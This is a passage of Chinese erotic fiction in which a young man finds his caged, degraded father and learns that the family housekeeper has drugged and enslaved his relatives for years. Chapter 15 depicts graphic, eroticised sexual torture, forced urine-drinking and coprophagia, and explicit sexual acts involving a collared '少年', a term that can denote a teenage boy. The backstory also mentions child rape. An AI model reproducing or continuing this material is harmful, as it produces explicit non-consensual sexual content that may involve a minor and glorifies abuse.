“怎么会这样?这究竟是?”夏明不敢相信自己看到的这一切,站在那个黑暗的角落久久回不过神来,“难道这么多年来父亲过的一直是这种……”没想太多夏明立刻从角落出来,黑暗中传来一阵细微的声音,夏明立刻打开手机往声音那边照去,却见不知什么时候父亲的头又再次从那孔洞中钻出,正伸长舌头舔食着女人在食盆里留下的粪便。
“不要啊!”夏明见状整个人窜了过去,一把扫开地上的食盆。被多去食物的父亲此时一改之前安静沉滞的样子变得突然变得狂暴了起来,却见他长大了嘴,眼神充满愤怒死死盯着夏明,口中发出如野兽嚎叫般的怒吼声,伸出笼子的脑袋尽力往食盆那个方向伸去,虽然距离离得远但依旧发怒般往那边钻去,似乎想将整个身体从这小小的孔洞中挤出一般。
“爸爸!你怎么了?不要啊!”夏明怕父亲受伤,一把抓住父亲的肩膀想把他往笼子里推,可父亲丝毫不领会夏明的意图,眼睛只是死死盯着那食盆身体硬是往外发力,抓住笼框的双手发了狠似的颤抖,好似要将这笼框扯下来一般,发出剧烈的“框框!”声。
看眼怎么努力都无法使父亲安静下来,又怕这样下去会惊动楼上那些女人。
最终夏明还是无奈地叹了口气将食盆移回到原来的位置。这样一来果然奏效,父亲立刻安静了下来,身体往后一退,只保持脑袋在笼子外,整个面部几乎全都埋在食盆中剧烈地舔食了起来。
黑暗中,夏明瘫坐在地上一动不动,脑子一片空白,耳边萦绕着父亲舔食粪便发出的“梭梭!梭梭!”的声音……
从玫瑰休闲屋出来时已经是早上四点多,夏明立刻赶往警察局,这是他能想到的唯一救出父亲的办法。
“报警……我要报警……”在警局门口等了好几个小时,带警局开门夏明立刻紧紧抓着遇到的第一个警察不放,如得救般的大呼了起来。
“别着急年轻人,有啥事慢慢说?”那民警见他一脸着急的样子便把他带到办公室,安抚了他的情绪,“出什么事了,慢慢说别着急。”
“我……有人……有人被绑架了……有人非法监禁……”
“在哪?怎么回事?”民警听他说有人绑架也觉得事态比较严重,便立刻关切地问道。
“在……在玫瑰休闲屋,就被关在玫瑰休闲屋地下室……”
“玫瑰休闲屋?哪的玫瑰休闲屋?”
“霞明路,就在霞明路路口右拐进去的玫瑰休闲屋。”
“霞明路?玫瑰休闲屋?”民警想了想转头问旁边的同时,“不就是……”
“对,就是那种地方。”旁边的警察知道他要说什么,立马接了一句。听到这话那民警脸色一变,转过头来似乎带着一种轻蔑的眼神打量了夏明一会儿,接着说道:“你说的非法监禁就在那玫瑰休闲屋地下室?”
“对,有人被关在那,求你……求你快去救他啊!”
“你去过那?”
“去过啊!”
“我说你没事去那做什么?年纪轻轻的……怎么?被仙人跳了吧?”警察带着不屑一顾的语气说道。
“我……你要相信我……我真的没有说谎……”夏明也看出警察似乎并不相信他的话,立刻急得手足无措,带着哭腔哀求了起来,“求您一定要相信我,那真的关着一个人,求您一定要去救他,再不救他就没命了。”夏明声音颤抖,眼睛里都快飚出泪来,就差跪下来给那民警磕头哀求。民警看夏明表情哀切,说得倒也恳切便也相信了他几分,只好稳定了一下他的情绪后转头喊了一声:“小刘!”
“诶!”办公室那边一个正在做事的女民警回了一声。
“你带他过去做个笔录然后派两个人过去看看。”
“好的!”女民警答应了一声便过来把夏明领走了。
接下去的那段时间夏明犹如度秒如年,如坐针毡。每隔几分钟他都要朝窗外张望一番,希望下一秒便有警察带着他的父亲出现在门口。这一刻他等得是那么的迫切,此刻不管他父亲神智是否清醒,是否认得他这个儿子。只要父亲能被安全地带回来,能够拜托那些犹如魔鬼般可怕的女人的摧残和蹂躏,一切都已变得不重要了。
终于,一个多小时之后两个警察气喘吁吁地走进了办公室,一进门便大声呼喝道:“刚才谁报警说绑架的?”
“是我……是我……”夏明立刻冲了过去,一脸期盼地大声喊道。
“就你啊?”警察上下扫了夏明几眼一脸怒气地说,“你知道报假案是什么后果吗?”
“报假案?”这话说得夏明一头雾水,不知道从何说起,“我……我没有报假案……那里……”
“怎么了?”刚才接待夏明的那个民警听闻走了过来打断了他们的话,“发现什么了没?”
“靠!”那个警察骂了一句,“我们俩在霞明路找了老半天才找到那玫瑰休闲屋,他们还以为我们是去扫黄的呢!”警察苦笑了一下继续说道:“那倒还真有一个地下室,我们下去看了下,还真关着东西!”
“没错,就是那,那关着一个人。警察先生你们一定救他出来了吧?他在哪?快带我去见他?”听警察的话夏明一下子激动了起来,拉着警察就要往外走,他急切想要看到被救出魔窟的父亲。
“有什么人啊?”警察一把甩开了夏明紧紧抓着他胳膊的手,“那下边的笼子里关着一只大黄狗!”
“什么?大黄狗?不可能!我昨晚还亲眼看见的,那关着一个人,那关着我父亲啊……”夏明心急如焚,他只以为警察是在骗他,拿她开玩笑而已。
“你父亲?”警察疑惑地瞪了他一眼,“这是你父亲?”说着从包里取出一部随身携带的用来取证的数码相机打开给夏明看。照片里还是那个地下室,还是那座大铁笼,所不同的是关在笼子里的却是一只病怏怏的大黄狗。
“这是你父亲?哼哼!那你父亲还真是够可怜的,你别不是想告她们绑架这个吧?”
“这……怎么可能……”夏明无言以对,他简直不敢相信自己的眼睛,一切变化地太突然。他好似全身遭受了巨大的雷击,脑子一片空白,只能怔怔地呆站在那里一言不发。
“小伙子,是不是被她们敲诈了?还是她们哪里得罪你了?”看着夏明一脸失落的样子警察也不好再拿他开玩笑,“就算这样你也犯不着报假案来报复啊。报假案可是妨碍公务,是要承担司法责任的。”
“年纪轻轻的我就不处置你了,以后别干这种事了,走吧!”警察说完便收拾东西离开了办公室。
“还有……”走到门口警察又回过头来看着夏明说道,“看你斯斯文文的也是读过书的人,霞明路那种地方以后还是别再去了。”破旧简陋的小旅馆里,肮脏的床铺上,夏明静静地躺着。此刻他什么都不想干,什么都不想想。此刻他已经一无所有。仅仅在那一瞬间,姐姐、父亲、曾经他所熟悉的一切一切全都变得那么陌生,变得那么虚幻,变得那么遥不可及。这完全是一个只属于魔鬼的世界,在这个世界里他感觉自己就像是一只柔弱的小羊羔,只能等待被人宰割的命运。此刻他只想静静地躺在床上让时间凝固,让自己永远停留在这一时刻……
一天过去……
两天过去……
两天水粮未进的夏明依旧躺在床上,奄奄一息……
“砰砰砰!”外面突然传来的急促的敲门声,夏明无力去管他,只任由那声音不停响动。也不知道过了多久,那敲门声依旧继续,似乎要将那房门敲破了一般。
终于忍无可忍的夏明只得爬下床拖着无力的步伐撑到了房门边打开了门。门外站着两个身材高大的陌生女人,面无表情,用冷冷的眼神死死盯着夏明。
“你们是……”
“夏少爷,夫人请您回去……”
第15章
宽敞空旷的夏宅大厅,只有玉姐和夏明两人。
还是那个玉姐,她斜躺在沙发上,静静地看着看站在面前的夏明,一言不发,那么的美丽!那么的高贵!
“你去哪了?”玉姐终于开口说话,“你已经消失了三天了,你不知道大家都很担心你吗?身体还好吗?有不舒服吗?一定很想喝尿了吧?来,这是我刚给你拉的,趁热喝了吧!”玉姐指了下放在旁边茶几上的一杯冒着热气的尿,语气带着关怀。
夏明没有动,只是静静地看着玉姐,眼睛里充满了愤怒和憎恨,好像要喷出火来一般。他难以相信玉姐究竟是怎样的一个人,他无法想象这个如魔鬼一般可怕的女人内心有多强大,此时此刻她竟依然能用如此淡然的态度对他说出那番话。
“我去过玫瑰休闲屋!”夏明终于恶狠狠地说出了这句话。
“哦?”玉姐丝毫没有吃惊的表情,只是淡淡地笑了一下,“那你一定见到他了吧!”
“他在哪?我姐姐在哪?”
“他们在一个很安全的地方,过着很快乐的生活!如果我没猜错,那天的警察是你叫去的吧?你很优秀,我果然没看错你,你居然能找到那里。不过你还是晚了一步。你以为你这段时间鬼鬼祟祟、心不在焉的样子能逃得过我的眼睛吗?那天她们发现钥匙丢失就觉得事情不对,立刻报告给了我,了解之后才知道是你去过,于是就立刻把他转移了。”
“你……”满腔怒火使得夏明犹如巨刺横亘于喉咙,疼的说不出话来。
“怎么?后悔了?还是觉得可惜?其实我应该恭喜你,因为你差点就成功了。他前脚刚走警察紧接着就来了。由此来看我应该检讨,我确实还是低估了你的能力。”
“你好狠……你到底是谁?为什么要这么做?”
“为什么?难道还没看出来吗?我一直在保护你。不去发现这些,只是永远生活在我脚下做一只乖乖的小绵羊,让我疼你、爱你、让你过得快快乐乐有多好。事实是很残酷的,你偏要走上这一步,弄得自己这么痛苦。”
“当初你姐姐也是这样,非得要跟我作对。还有你的父亲,你的母亲,结果造成今天这样的结果,全都是他们害了自己。”
“你……”夏明怒不可遏,“我妈妈,难道她也……她在哪,我爸爸,我姐姐呢?你快放了他们……”
“傻孩子,我说过他们现在过得很快乐!不过你的妈妈,在你两岁那年就死了,“砰!”地一声被炸死了!你爸爸当初要不是我可怜他,或许也早已经跟着你妈妈下地狱去了。那个可恶的女人,炸死她算是我便宜她!”
“你说什么?她……是被你杀死的?”夏明早就预感到这点,但当亲耳听玉姐说出这番话的时候还是有如五雷轰顶般震惊不已。
“怎么能说是杀呢?我只是送她去该去的地方而已。”
“你……你这魔鬼……”怒火中烧的夏明终于忍耐不住,怒气似乎要将他的身体爆炸了一般从他口中喷涌而出,迫使他发出了死一般的怒吼,“我要杀了你……”夏明掏出了一直装在口袋里的刀子对着玉姐就想冲过去,这段时间以来一种极度的不安全感使他始终在身上带着武器。但当他抽出刀子对准了玉姐,面对刀锋玉姐却丝毫没有半点害怕的神情,只是轻轻摇了摇头,幽幽地说:“你不会杀我的,杀了我你就永远找不到你的爸爸,你的姐姐,”
“我……”这句话正中夏明的要害。
“杀了我你也将很快会死去。”
“为……为什么?我怎么可能会死?”
“哈哈……”玉姐放声大笑,“你别忘了,现在的你根本离不开我,你只能依靠我的尿生存下去。那种毒瘾发作般的滋味很难受吧?生不如死却又极度渴望?啊……现在想想那种感觉确实美妙……如果没有我,现在的你只要连续半个月不喝我的尿就算不会难受死你也会直接把自己给杀了。你是什么样的人我太了解了……”
“怎……怎么会这样……不可能……你骗我……”
“我骗你了吗?想想这段时间来的经历吧!我的尿你越喝就会有越强的依赖性,以前你或许还能撑个一个月、半个月,现在如果没有我的尿我想你最多撑不过五天的。五天后那种毒瘾发作的痛苦……可怜的孩子,我真不想看到你受苦。”
“为……为什么?”
“不急,听我慢慢跟你说。知道你为什么一直以来身体都这么差吗?知道你为什么那么喜欢我给你喂的药,喂的吃的,喝的汤吗?”
“为什么……难道里边……”
“没错,我在里边给你加了特殊的东西。那些可是好东西啊,可是我花了好大的精力求来的。除了能让你身体变得虚弱,它还会慢慢消磨你的心智。还记得那芙蓉天葵鸾凤汤吗?”
“那汤……”
“还记得那大夫怎么说的吗?一定要用处女的血和尿液,如果不是处女会怎么样呢?哈哈……会产生极大的副作用,会对尿上瘾,就像吸毒一样,永远都摆脱不掉。”
“所以你就让那妓女……”
“哦?你居然也知道了。没错,之所以只对我的尿产生感觉是因为我在尿里加了鸦片,所谓的尿瘾说白了其实就是毒瘾,而且只对我的尿有瘾!所谓的大病一场只是我以前给你长期喂药的必然结果而已。那宋大夫……那芙蓉天葵鸾凤汤……那忘了告诉你,当年你爷爷、你爸爸、你姐姐也是这么过来的。”
“其实我真的很喜欢你的,我看着你长大,你就像我的孩子一样,我不想看到你受苦。原本以为你可以像你爷爷那样慢慢地,一点一点没有痛苦地变成我的玩物。这只是时间问题而已!可是你偏不听话,非要去挖出这么多对你来说没有半点意义的真相。这又何必呢,这样只会把你自己陷入一个更大的危机而已。如今不得不承认原本的设想太过天真,最终还是需要采取更直接的手段,像对你爸爸和你姐姐一样……”终于,强烈的恐惧和愤怒使夏明失去了理智,复仇的种子在他心中迅速萌发、膨胀,冲破了他理智的最后一道防线。那一刻,夏明胀红了双眼,举起刀怒吼着就朝玉姐刺去。
突然只觉得脖子后犹如被巨物撞击了一般,一直剧烈的疼痛自脊柱迅速往大脑传去,立刻脑子一片空白,眼前一黑昏死了过去。
不知过了多久,一阵刺骨的冰凉把夏明从昏睡中惊醒。醒来的夏明浑身赤裸,湿漉漉地躺在冰凉的地板上,脑袋如火烧般生疼。他的脖子上已经被套上了项圈,手脚都被粗大的铁链困得结实。他挣扎着睁开眼,在有限的视野范围内扫视了四周。这是一个陌生的地方,四周一片幽寒,粗糙的石头墙壁上挂着无数盏油灯,把黑暗的的屋子渲染地阴森而诡异。屋子的背壁修有一个壁炉,炉里燃着红红的炭火。
不远处,玉姐正站在房间的中央。此时的她一改之前矜持端庄的摸样,全身近乎赤裸,只有股间被一条黑色的真皮短裤包裹着,短裤的拉链拉开着。一个少年跪在她的脚下,正将头埋在她的裆部。玉姐一双长腿跨在少年的头两边站着,一双性感有力的大腿紧紧的控制着少年的头部,全黑的过膝长靴遮住了她那双修长挺拔的玉腿,衬的她的身段更加性感引人。透过墙上油灯散发出的光亮,她那前突后翘的身材散发出一种令人无法抗拒的成熟魅力。
少年全身赤裸,脖子上套着一只皮项圈,手腕和脚踝上也分别带着铁铐扣,粗大的生殖器被玉姐的一只长靴踩在鞋底,他的整个头几乎完全陷入在玉姐的股间,嘴里不时发出口交的吸吮声。
“啊!啊!啊!”玉姐呻吟着,一只手紧紧的抓扯着少年顶着她胯骨的头发,踩着鸡巴的皮靴也突然用力的揉搓起来,鞋跟已经因为用力而离开了地毯,另一只手同时挥舞着一根黑色的蛇形长鞭,只听“啪!”的一声,少年赤裸的后背上留下一道乌青色的血痕。
少年身体明显的抽搐了一下,没有出声,只是默默的继续舔着玉姐的下体。
突然,随着玉姐小腹一阵猛烈的起伏,少年似乎预示到了什么,本能的想向后一躲,但一股粘稠的乳白色液体已经在那刹那间喷涌而出,散发着腥骚味的汁液溅满他脸庞。
“咯,咯,咯……”玉姐得意的发出放荡的笑声,缓缓的拉上皮裤的拉链,抬起一条性感的玉腿,用皮靴坚硬的鞋底刮下少年脸上的液体,然后伸到他的嘴边,男子一脸惶恐,恭顺的舔着靴底的赃物。
“张开嘴。”看着少年像条狗一样清理完自己的靴底,玉姐不紧不慢的拿出一个黑色的口衔球塞进男子的嘴里,黑色的橡皮球将少年的嘴完全撑满了,玉姐用皮扣在他脑后绑住将球固定在他的嘴里。
“哟!你醒啦!”结束了纵情享乐的玉姐这才注意到醒着的夏明正趴在地上睁着大眼看着她们,于是伸出手重重拍了两下,立刻应声从屋外走进几个女人,这几女人夏明都认得,其中一个就是那晚在孤儿院里站岗的那个矮个子女人。
“难道……这里是孤儿院……”夏明暗想。
女人牵起连在少年脖子上狗链拉了一下,少年连头也不敢抬,只是默默的跟在她屁股后面像狗一样四脚爬出了房间。
玉姐走了过来抬起右脚踩了下去,把夏明刚刚昂起的脑袋又重重踩在了地上,细长的鞋跟刺在了夏明脸上皮肉中深深陷了进去,疼得夏明本想张嘴叫喊却被玉姐挪动过来的鞋尖踩住了嘴,硬生生把他的叫声堵了回去。
“羡慕吗?”玉姐笑着说,“你看他多开心。不过没关系,很快你就会像他一样,我说过,你是我的,你永远只会属于我一个人。现在,带你去见你姐姐吧,你一定很想她了吧!去看看她现在有多享受吧!”玉姐说完一挥手,站在旁边的女人走过来替夏明除去了锁住四肢的铁链。身体得到了解放的夏明立刻想站起来却感到后背一阵突如其来的猛烈的疼痛,如被刀刃割破了皮肉般钻心刺骨,疼得夏明全身一缩又滚回到在了地上。原来是旁边的女人正在用鞭子狠抽他的后背。
“啧啧啧!”玉姐表现出一副心疼的样子,“不要企图站起来,狗就应该有狗的样子,不然你会吃更多苦头的。”这种情况下夏明只得放弃站起身来的念头,被玉姐牵着爬出了房间。几人通过一条幽暗的通道,通道里不时传来女人淫荡的呻吟声,每向著阴暗的里面前走一步,呻吟声便显得清晰一分。这是一个完全陌生的环境,并不像之前熟悉的孤儿院的过道,周围是犹如地牢般粗糙的石头墙壁。更不可能是地下室,这里的空间要比那地下室大得多。很快,玉姐带着他来到一一扇大门前,两个女人立刻上前把门推开。
一个二十多岁的年轻女子正像狗一样趴在地上,两个女人在他一前一后站着,她们胯下绑着的人造性具分别插在年轻女子的嘴里和阴道里。女子全身赤裸,硕大的乳房低垂着,雪白修长的身体汗水淋漓,嘴里不时发出淫荡的声音。
“都出去吧。”玉姐对两个女人下了命令,两人立刻恭敬地退了出去。离开两个女人的支撑,年轻女子立刻的瘫倒在地上,无力的呻吟着,但身体却还保持著淫荡的姿势,两腿敞分,秘处敞露。那具雪白的身体象被抽乾了血液般苍白,然而乳头和下阴却又红又肿,充血般红得刺眼。
“看看,这就是你朝思暮想的姐姐!”玉姐走过去对着年轻女子阴户上唾了一口,“真贱!”说著抬起脚,用靴尖挑弄著女子红肿的阴户,笑吟吟道:“挺紧的嘛,干起来应该很不错。”她脚尖一扬,踩住女子鼓胀的小腹,裡面满蓄的淫液立刻从红肿的肉穴喷射出来。
“姐姐……姐姐……”夏明愤怒地尖叫了起来,挣扎着想从地上爬起却无奈身后两个女人死死踩着他,巨大的脚力使得他动弹不得,稍一扭动便有数道鞭子狠狠抽在他的后背上。姐姐似乎完全不理会夏明,任凭他如何嚎叫却依旧只是面目呆滞,眼神里只有似痛苦似享受的奇怪神情。
“怎么?心疼了?还想救你姐姐吗?”玉姐撩起粉腿,踩在夏嫣丰满的雪乳上,嘲讽道:“求我?像狗一样求我啊?”夏嫣的秘处已经禁不住淫液横流,她抱着踩在艳妇踩在身体上的皮靴,口中发着痛苦的嚎叫。
“我求求你,我求求你,放我我姐姐。”夏明泪流满面,脸已经被剧烈的悲痛变得扭曲,他实在无法看着姐姐受这样的苦,这对他来说比死还难受。本想闭上眼睛回避这一切,可是旁边的女人立刻上来用手掰开他的眼睑,使她无法不目睹眼前这让人疯狂的一幕幕。发了疯似的夏明之得挣脱开女人的舒服,朝玉姐狠狠地磕下了头,“求你……求求你……不要再这样对我姐姐……你让我做什么都可以,什么都可以……求求你了……”
“哈哈……”玉姐点燃一根烟,抽了一口,将烟雾喷在空气中,悠然的道:“做什么都可以么?这就对了!我要你做一条狗,一条下贱的狗,来,过来舔我的靴子吧!”说完把脚移开了夏嫣的身体走到房间里早就准备好的一个单人皮沙发上坐下,慢条斯理的抽着烟。夏明感觉后背被人狠狠蹬了一脚,只得乖乖得爬到她的脚下,抱起一只靴子舔了起来。
玉姐抽完一根烟,抬起另一只脚踏在夏明的肩膀上,用皮靴上的尖利的靴跟戳着他的身体道:“现在脱掉我的靴子!”夏明看了一眼缩在一边瑟瑟发抖的姐姐,之得跪起身子,右手握着靴子的后跟,左手抱住玉姐的小腿,用脸努力的压住靴面,费力的将那只皮靴脱了下来。
皮靴里是被汗水浸的透湿的肉色长筒袜,几天来玉姐故意不换袜子而让那双肉色的丝袜变得异常的酸臭难闻,夹杂着皮革味,汗味和脚臭味。但夏明没有选择,他伸出舌头,顺从的舔着这个犹如魔鬼般可怕的女人的丝袜脚。
“哈哈,真乖,或许今后我可以考虑让你当我专职的洗脚机”夏明屈辱地闻着玉姐的脚臭,却不敢有半分反抗,他仔细的舔满丝袜脚的每一处地方,将舔下来的纤维的污垢都吃了下去。
“舒服吗?”玉姐淫笑着说:“你这么舔是没用的,我来帮你更舒服一些吧。”说着将自己另外一条穿着靴子的腿朝着夏明的下体狠狠跺了下去。
“啊!”夏明完全没有预料到玉姐的举动,一股钻心的疼痛迫使他双手抓住踩着自己下体的皮靴,惊慌的想将它抬起。只可惜玉姐脚力过于强大,夏明非但没能移动那只脚反而因为身体剧烈颤动使得下体在皮靴上来回磨蹭。
“怎么了?疼吗?疼的滋味很难受吧?”玉姐使劲的一用力,将夏明整根鸡巴踩在了较低下并使劲挪动脚使鸡巴在脚底和地面之间摩擦。
“身体的疼痛就让你成了这个样子,可是你知道心里的疼痛有多难受吗?”玉姐眼睛里射出异样的光芒,似痛苦似愤怒,似兴奋似哀愁,让人看不清她的真实心里想法,似乎她的眼角边隐约泛出丝丝泪光,但却又迅速消失于无踪。“你知道你有多让我失望,我那么疼你,那么爱你,那么想尽办法保护你,让你永远成为我脚下一只没有烦恼没有忧愁的小绵羊,让我永远这么好好的疼你难道不好吗?可是你非得要背叛我,欺骗我,瞒着我做那些让我不高兴的事情。你知道当我发现这一切我有多心疼……多痛苦……在这个时间上没有任何人可以欺骗我……这一切……是你逼着我走上的这一步……”终于,在声嘶力竭的怒吼声中,玉姐高高抬起的右脚插着夏明那个要害部位狠狠踩了下去,剧烈疼痛的沉重打击下的夏明发出了撕心裂肺般的嚎叫……
姐姐不见了,房间里的沙发上玉姐惬意地抽着烟,看着躺在她脚下再也无力爬起来的夏明。
“怎么?心疼了吗?”玉姐缓缓吐出一口烟雾,“你难道看不出在我脚下你姐姐脸上那种快乐的表情吗?其实你也一样,你现在到底是快乐还是痛苦?总有一天你会明白的!其实你根本不必那么做,你的姐姐已经不认得你了,她现在已经没有了心智,应该说已经不可称之为人,只是我脚下一条长得像人的狗而已,就像你的父亲一样。刚才的那些行为根本只是发自她内心深处的渴望而已。很快你也会像她一样的,我曾极力避免这个结果,但这是你自己选择的道路,或许这就是天意吧!”玉姐仰头深深叹了一口气。
“你……为什么要这么对我们……”夏明口中只能发出极其微弱的声音,“我们……夏家……到底哪里……对……对不起你……你要这么对……我们……”
“哪里对不起我?”玉姐狠狠掐灭的手中的烟头,突然间表情变得凝重。
“不错,你们夏家对我很好,给和吃给我穿,让我当你们那个可以操控里里外外一切的大管家,但那又如何?亲爱的,记住,永远不要相信表面。越是美丽的表象下往往掩盖着的是无比残酷、无比阴暗、无比可怕是现实!”
“有这么一个故事,听完了或许你就会明白为什么?”玉姐继续点燃了一根烟,慢慢地抽了半根,这才继续说道:“从前有一个孩子,她不知自己是谁?叫什么名字?从哪里来?她甚至不知道自己为什么会来到这个世界?因为她从出生的那一刻起就受到了父母的遗弃。当人们从垃圾堆里发现她的时候已经奄奄一息,但她还是活了下来。之后,她被送到了一个叫“仁爱孤儿院”的地方。仁爱孤儿院,多好听的名字。哼哼!你知道吗?那里就是人间地狱,她在那里过的是怎样一种不见天日、生不如死的日子。那些大人把她当做牲畜,当做奴才,可以任意使唤,用坏了就随处一扔。你知道孤儿院的孩子是怎么长大的吗?每天吃不饱,穿不暖,天天受到鞭打,受到虐待,就等着有一天被玩够了就卖到乡下给人当生殖机器帮那些大人换成钞票。那里的每个孩子每天想的最多的事情就是怎么逃出去。当然,有些确实逃出了,可更多的是被抓回去当着其他孩子的面被活活打死。就是这样她还是坚持着活到了八岁。终于有一天,她捅伤了看管她的人成功地逃了出去。”
“但是逃出去又能如何?外面的世界就美好了吗?这个世界永远都是弱肉强食,在这个到处是狼的世界,羊永远只能等着被人宰割,任人欺凌,除非她能变成狼,有更强的力量能够保护自己。你尝试过大冷天没衣服穿,下雨天没地方住,肚子饿了就只能在垃圾堆找吃的吗?你尝试过一个女孩子孤苦伶仃,12岁被人强奸,13岁当了妓女,每天打架、吸毒、被无数肮脏的男人当做玩具一样蹂躏,16岁被抓进监狱,那是她甚至连自己的名字都不会写是什么感觉吗?当然,你不可能知道,你是大名鼎鼎的夏家二少爷,过得是锦衣玉食,养尊处优的日子,怎么可能了解那些社会底层的垃圾过得是什么样的生活。”
“但是……其实这些都不重要。”玉姐说到这里停顿了一下,重重吸了一口烟。
“因为接下来才是故事真正的开端……”
05-22
第16章
二十年前,年轻的谢柳玉结束了一年半多的刑期刑满出狱。那一年她刚满十八岁。
出狱那天的天气有些阴沉。一大早密布的乌云如黑布般遮盖了整个天空,厚地几乎透不过光线,临近中午却已如日暮之时一片昏暗。空中偶尔传来的阵阵闷雷使人在这潮湿闷热的氛围中充满了烦躁和不安。
十二点一过,随着“吱呀!”一声巨响,监狱外那道高大厚实的铁门缓缓开启。很快,谢柳玉那瘦弱的身影出现在铁门之后朝外走来。
经历了一年半监禁生活,突然回到自由的世界难免会让她刚到激动和新奇。
但是随之而来的更强烈的却是一种发自内心的失落感。此刻站在监狱门口看着前方不知道通往哪里的道路,谢柳玉反而开始怀念起监狱内那按部就班的规律生活。虽说没有自由,日子单调乏味,但却也过得单纯、朴实。那里只有真小人,没有伪君子,看不见那么多的勾心斗角,更不用面对外面世界的种种虚伪和丑陋。
转过身去,看着身后那扇已经关闭了的厚实的大铁门,谢柳玉无奈地叹了口气。
突然,头顶“咔嚓!”一声巨响,一道惊雷响彻天地,刹那间暴雨以倾盆之势倾斜而下,整个世界瞬间被笼罩在一片水雾之中。谢柳玉还来不及躲开避雨整个身体便已被淋得遍体透湿。那一刻谢柳玉只想静静地站在大雨中,让这暴雨把自己冲的干干净净。一种绝望感从心底升起,迅速占据了她的全部思想。她不知道前方的路到底在哪里?今后到底该往哪里走?大雨冲刷在她的脸上,分不清到底哪些是雨水,哪些是泪水。那一刻她甚至想到了用结束自己的生命来远离这无边无际的烦恼和忧愁。
就在这时,雨幕深处亮起两个光点,犹如两颗巨大的眼珠射出两道光线聚焦在柳玉脸上,晃得她面前一片花白,生疼地几乎张不开眼来。待她慢慢清醒了过来,适应了眼前的强光之后,一辆小轿车踩着泥泞朝她冲了过来。
这突如其来的情景也使得柳玉一时间不知所措,只能呆站在原地,眼睁睁看着轿车朝自己冲来。眼看就要撞在自己身上,刚回过神来的柳玉也已来不及躲闪,只能下意识地猛一闭眼,举手护住了自己的面颊。只是这轿车留柳玉还有几米远的时候突然一个剧烈的拐弯,只听“撕!”的一声刺耳响声,车轮在地上刮起的半人高的泥水朝柳玉扇了过来瞬间覆盖在她的身上,使其更显得狼狈不堪。车子直接从柳玉身边划过,停在了她身后不远的地方。
“我***!”强烈的愤怒使得柳玉即将失去理智,操起地上的一块砖石就往轿车那奔了过去,绕过车身站在车头前举手就要往下砸。奇怪的是这车子并没有再开动,只是静静地停在那里一闪一闪地亮着车灯,好似在等待着什么。眼前这一幕也使得柳玉感到奇怪,稍微冷静下来观察了一下,车子依旧没动,副驾驶位子的车门则敞开在那里,似在招呼她过去一般。带着三分不安七分好奇,柳玉放下举着砖头的手慢慢朝车门那边走去,靠近了便探下身子看看里边坐着的是谁。
“大姐!”驾驶座那坐着的赫然是早柳玉半年出狱的大姐,强烈的惊喜让柳玉忍不住尖叫了起来。早在七个月前,同住一间牢房的柳玉和那少妇结为了金兰姐妹,柳玉认她做了大姐。此刻看到眼前的却是半年没见的大姐怎能不叫她激动万分。
“上来吧!”大姐朝她使了个眼神。
“这个……”柳玉低头看了看自己满是泥泞的身体,怕就这么坐进去弄脏了大姐的车子,犹豫了一下。
“想什么呢?赶快上来!”大姐不由分说,给柳玉下了命令,柳玉只得坐上了车子。伴着发动机猛烈的转动声,车子卷起了一阵泥泞拐了个弯朝远处驶去。
离开监狱后大姐把柳玉安置在一间旅馆。虽说不上太豪华,可是有电视,有热水,还有干净舒适的大床。对于柳玉来说刚刚还如同丧家之犬,突然间有了这一切已是犹如做梦一般。屋外还有大姐为她买来热腾腾的姜汤,在这温馨的环境里,一个舒服的热水澡瞬间便冲去了郁结在柳玉体内的阴霾和郁闷。
“大姐你怎么来了?”
“早就惦记着今天是你出狱的日子,一上午我就在外面等你啦!”
“那你刚才……”柳玉想起刚才在监狱外发生的那一幕本想问个清楚却又不好意思开口。
“给你个惊喜咯!”大姐“呵呵!”笑了一下继续说,“怎么?吓着你了?生我气了?”
“没有,大姐能来我就已经很高兴了!”
“看你说的,大姐不去还能有谁去啊?”大姐取出一根烟点燃,吸了一口,同时也分了一根给柳玉。柳玉接过烟也跟着抽了起来。
“半年不见又变漂亮了。”大姐仔细打量着柳玉,上上下下看得极为细致。
“怎么样?出狱了什么打算?还有什么可以去的?”大姐问道。
“哎~”柳玉叹了一口气,呼出了口中的烟,“还能去哪啊?以前就什么都没,现在不还是一无所有,哪能赚钱去哪呗!你又不是不知道我,我还能做什么?大不了再回去当妓女而已……”
“就不想干点别的?”
“能干啥?”柳玉苦笑了一下,“我什么都不会,没念过书,又不识字,除了当妓女还能干啥?大姐,我……”一想起自己所面临的艰难处境,内心原本坚强的柳玉也不近泛起阵阵苦楚,鼻子一酸眼泪便情不自禁地冒了出来,一把扑在了大姐的怀里。
“哎~可怜的孩子!”大姐紧紧拥着柳玉,带着温柔的眼神看着她,伸手为她理了理那还没有干透的发鬓,这种举手投足间细节的的关怀瞬间让柳玉感到了前所未有的温暖。
“既然出来了现在就先别想那么多,姐姐会帮你的。来,这些钱你拿着……”大姐从包里取出一沓钞票放在柳玉手上,“这几天你就在这好好休息,房钱我都替你付清了。拿这些钱给自己买些吃的穿的,不要太省着,不够姐姐到时再给你。过几天姐姐接你去个地方,算是正式给你接风洗尘。好了,我得先走了,你先好好休息吧!”说完便离开了旅馆。
之后几天柳玉除了上街给自己买了两件漂亮衣服便哪都没去,一直呆在房间里。一是她哪都不想去,只想给自己一个可以栖身的地方静静地呆着,二是怕万一大姐来了找不到她。那个年代还不像现在每个人都买得起手机。
一周后大姐再次来旅馆找她,看着柳玉换上刚买的新衣服也觉得眼前一亮,显地极为开心:“真漂亮,本来就是个大美人,换身装束整个人就不一样了!”
“这……呵呵!”被大姐这么一夸柳玉也觉得有些不好意思。
“走,姐姐今天要带你去个地方。”
“去哪?”
“去了就知道了!”旅馆楼下早已等候着一部轿车,但并不是先前大姐去接柳玉的那辆,却显然比那辆更为高档、豪华。两人刚一靠近立即从驾驶室里跳下一个穿着讲究的的中年男人,男人略显肥胖,带着眼镜斯斯文文,看到大姐立即弯腰恭敬地朝她鞠了个躬,打开车门站在旁边默默地等着她们上车。
“他是……”
“上车吧!”
“哦!”柳玉之得满怀疑惑地爬进了车里,大姐紧接着也跟着进去。两人一上车那男人立刻轻轻将车门关上,以最快的速度回到驾驶座发动了轿车带着两人离开了。
“大姐,他是……”柳玉指着前面开车的男人轻声问道。此刻她已隐隐开始觉得自己的这个大姐绝非一般人。大姐并没有回答她的问题,只是微微笑了一下,淡淡地说:“到了你就知道了!”车子离开旅馆载着她们在城里开了十几分钟这才慢慢驶进了一个高档住宅小区。待车停稳后那个开车的男人立刻跳下了车帮她们打开车门后安静地站在旁边,等两人下了车这才将车门关上。从旅馆一路过来男人都是一言不发,所有行为只需大姐给他一个眼神提示。
“大姐,你就住这啊?”
